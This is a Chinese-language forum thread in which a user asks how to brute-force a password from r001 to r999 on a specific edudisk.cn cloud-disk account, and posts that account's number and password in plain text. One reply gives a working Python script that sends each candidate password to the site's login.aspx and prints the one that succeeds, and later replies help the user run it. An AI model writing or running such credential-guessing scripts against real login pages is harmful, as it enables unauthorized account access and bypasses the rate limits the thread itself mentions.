梦回楚水 发表于 2021-6-18 00:34

有何方法自动穷举输入密码

本帖最后由 梦回楚水 于 2021-6-18 22:34 编辑

http://2069910086.edudisk.cn/
正确密码:r888
需求:自动输入r001~r999,正确的提示出来。

http://edudisk.cn/
账号:2069910086
密码:r888

Eric 发表于 2021-6-18 04:13

POST{:5_121:}

923004243 发表于 2021-6-18 09:29

不行的一般 网盘都有防止穷举的 一会就不让你访问了

白云点缀的蓝 发表于 2021-6-18 10:16

用r+随机数字,用不重复集合来判断随机数字是否已经产生,然后进行拼接,发get请求,带密码相关参数,获取响应后,判断密码是否正确

独鲨 发表于 2021-6-18 16:00

# coding=utf-8


import requests
import time

def ss(str):
    r = requests.get("http://2069910086.edudisk.cn/login.aspx?username=2069910086&password=" + str + "&ValidateCode=")
    if r.text.find(U"错误的用户名或密码") == -1:
      print(str)
      exit()
    else:
      return


if __name__ == '__main__':
    for i in range(1, 1000):
      if len(str(i)) == 1:
            aa = "r00" + str(i)
      elif len(str(i)) == 2:
            aa = "r0" + str(i)
      elif len(str(i)) == 3:
            aa = "r"+str(i)
      ss(aa)
      print (aa)
      #time.sleep(0.5)

fanssong 发表于 2021-6-18 17:51

何种编程语言不同,以易语言为例,计次循环999次,已循环次数为n,根据抓包得到的访问方式post或get提交r+到文本(n)就行了

梦回楚水 发表于 2021-6-18 22:37

独鲨 发表于 2021-6-18 16:00
# coding=utf-8





大神好像不运行~帮忙在指导下~

独鲨 发表于 2021-6-19 02:51

梦回楚水 发表于 2021-6-18 22:37
大神好像不运行~帮忙在指导下~
你没安装requests库输入 pip install requests

梦回楚水 发表于 2021-6-20 00:28

独鲨 发表于 2021-6-19 02:51
你没安装requests库输入 pip install requests

可以筛选了,但是出现正确值,就会自动关闭窗口。
页: [1]
查看完整版本: 有何方法自动穷举输入密码